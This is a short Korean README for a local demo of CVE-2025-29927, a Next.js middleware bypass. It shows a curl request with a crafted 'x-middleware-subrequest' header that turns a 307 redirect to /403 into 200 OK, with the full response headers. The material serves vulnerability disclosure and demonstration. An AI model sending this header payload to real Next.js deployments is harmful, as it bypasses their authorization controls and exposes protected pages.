CVE-2025-29927 데모

원본 글: https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware

설정

먼저, 개발 서버를 실행하세요:

npm i
npm run dev

브라우저에서 http://localhost:3000을 열어 결과를 확인하세요.

우회 시도

curl -I http://localhost:3000

HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 24 Mar 2025 08:02:50 GMT
Connection: keep-alive
Keep-Alive: timeout=5

curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000

HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/569ce4b8f30dc480-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1742803407039>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 24 Mar 2025 08:03:27 GMT
Connection: keep-alive
Keep-Alive: timeout=5

nextjs-middleware-bypass-demo

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